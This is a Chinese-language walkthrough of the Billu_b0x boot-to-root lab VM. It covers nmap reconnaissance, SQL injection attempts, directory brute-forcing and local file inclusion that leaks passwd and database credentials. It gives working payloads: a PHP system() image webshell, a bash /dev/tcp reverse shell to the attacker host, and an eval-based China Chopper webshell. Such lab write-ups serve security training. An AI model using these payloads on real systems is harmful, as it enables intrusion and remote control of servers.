8. 滲透測試案例(一)
靶機說明
虛擬機難度中等,使用ubuntu(32位),其他軟件包有:
-
PHP
-
apache
-
MySQL
目標
Boot to root:從Web應用程序進入虛擬機,並獲得root權限。
運行環境
-
靶機:使用VMWare打開虛機,網絡連接方式設置為net,靶機自動獲取IP。
-
攻擊機:同網段下有Windows攻擊機,安裝有Nmap、Burpsuit、Sqlmap、nc、Python2.7、DirBuster、AWVS、Nessus等滲透工具,kali攻擊機,主要用Windows攻擊機完成實驗。
信息收集
-
ip發現
- 首先kali本機的IP為
啟動Billu_b0x
nmap -sP 192.168.1.1/24
獲得靶機ip 192.168.1.112
-
端口和服務識別
使用nmap掃描1-65535全端口,並做服務識別和深度掃描(加-A參數),命令:
nmap -p 1-65535 -A 192.168.1.112
發現目標主機端口和服務如下:
端口 協議 後端服務
TCP 22 SSH OpenSSH 5.9p1
TCP 80 HTTP Apache httpd 2.2.22
進入web首頁:發現用戶名口令輸入框,並提示“Show me your SQLI skills”。
漏洞挖掘
-
漏洞挖掘思路:
(1) SQL註入:首頁提示註入,想辦法註入成功。
(2) 暴破目錄:用DirBuster暴破,看是否有新網頁,找新漏洞;
(3) 漏洞掃描:暴破的新網頁,送進AWVS或APPScan掃漏洞;
(4) 手動挖掘:暴破的新頁面,通過Firefox掛burp代理,在burp中觀察Request和Response包,手動找漏洞;
(5) 查看每個網頁的源碼,看是否有提示;。
(6) 如得到用戶名,密碼,嘗試登錄ssh,如能連接上,無需反彈shell了。
-
步驟1:測試首頁SQL註入
(1) 在用戶名輸入框輸入admin‘ or ‘a‘=‘a --
密碼隨意,發現無法註入,出現js彈框Try again:
(2) 使用sqlmap進行post註入測試,命令:
sqlmap.py -u “http://192.168.1.112” --data "un=admin&ps=admin&login=let%27s+login" --level 3 --dbms mysql
sqlmap註入檢測完成,結果無法註入,目前不知道系統對註入的過濾規則是什麽,使用幾個sqlmap的tamper測試也未成功。暫時先不fuzz註入,看看暴破目錄。
-
步驟2:windows使用禦劍,DirBuster暴破目錄,同時使用kali Linux的dirb暴破,為得到更多的暴破結果,並減少暴破時間:
得到頁面較多,test.php、add.php、in.php、c.php、index.php、show.php等,目錄有:uploaded_images,phpmy,images依次訪問:
-
步驟3:利用文件包含漏洞獲取php源碼、passwd文件
(1) 訪問test.php:頁面提示file參數為空,需要提供file參數
測試文件包含:http://192.168.1.112?file=/etc/passwd
發現無法包含,頁面沒有反應。
(2) 在Firefox的Hackbar或者Brupsuit中,將get請求,變更為post請求,文件包含成功,獲得passwd文件。
(3) 查看passwd文件,發現1個id 1000的賬號ica,ssh連接的用戶名可以是ica或root:
(4) 通過同樣文件包含的方法,下載add.php、in.php、c.php、index.php、show.php、panel.php等文件,後面可以訪問文件的同時,審計文件的源代碼。
add.php
add.php是一個上傳界面,但是功能無法使用,查看源碼文件發現只是個頁面,沒有後臺處理代碼。in.php是php info信息。
-
步驟5:查看c.php源碼
這是數據庫連接文件,發現mysql連接用戶名密碼:
用戶名:billu
密碼:b0x_billu
數據庫名:ica_lab
c.php
-
步驟6:通過得到的mysql密碼登錄phpmyadmin
得到WEB登陸的用戶名
-
步驟7:繼續暴破phpmy目錄,文件包含phpmyadmin配置文件
(1) phpmyadmin的默認的配置文件是:config.inc.php。需要猜測路徑,通過URL猜測路徑默認在/var/www/phpmy下面。
(2) 在火狐瀏覽器的Hackbar或者Burpsuit中,通過文件包含,讀取config.inc.php文件,Hackbar的獲取方法:
-
步驟8:使用xshell ssh登錄root賬號,完成實驗
獲取shell
-
步驟9:登錄index首頁,並獲得cmd shell和反彈shell
(1) 使用web密碼登錄首頁,大小寫必須一樣。
登錄後是賬號管理界面,賬號是加勒比海盜的兩位主角船長:傑克·斯帕羅和巴博薩船長。多寫一句,本人更喜歡巴博薩船長,一個像敵人一樣的海盜朋友,幽默、勇敢、陰險狡詐、霸道野心、老謀深算。
兩個賬號的頭像圖片地址,在之前暴破出來:http://192.168.1.112/uploaded_images/
(2) 點擊add user進入添加賬號界面,這是一個圖片上傳,思路是利用圖片上傳和文件包含獲得shell。
查看之前test文件包含獲得的panel.php源碼,發現panel.php存在本地文件包含漏洞:
下載一張http://192.168.1.112/uploaded_images/
中的圖片jack.php,文本編輯器打開,在文件中間或末尾加入一句話cmd命令馬
<?php system($_GET[‘cmd‘]); ?>
將文件 joker.php 上傳成功
(3) 使用burp執行命令: post請求url中加入執行命令的參數:POST
/ panel.php?cmd=cat%20/etc/passwd;ls
post的body中包含cmd.jpg圖片馬:load=/uploaded_images/cmd.jpg&continue=continue
成功執行命令cat /etc/passwd;ls
或者在hackbar裏面:
(4) 用bash反彈shell
命令:echo "bash -i >& /dev/tcp/192.168.1.109/4444 0>&1" | bash
需要將命令url編碼:
在post的url中發送命令:
nc接收反彈shell成功:
-
步驟12:找一個可寫權限目錄,寫入菜刀馬
文件上傳目錄uploaded_images為寫權限目錄,進入該目錄,寫一個菜刀馬:
echo ‘<?php eval($_POST[‘joker‘]);?>‘ >> joker.php
直接菜刀鏈接即可
8. 滲透測試案例(一)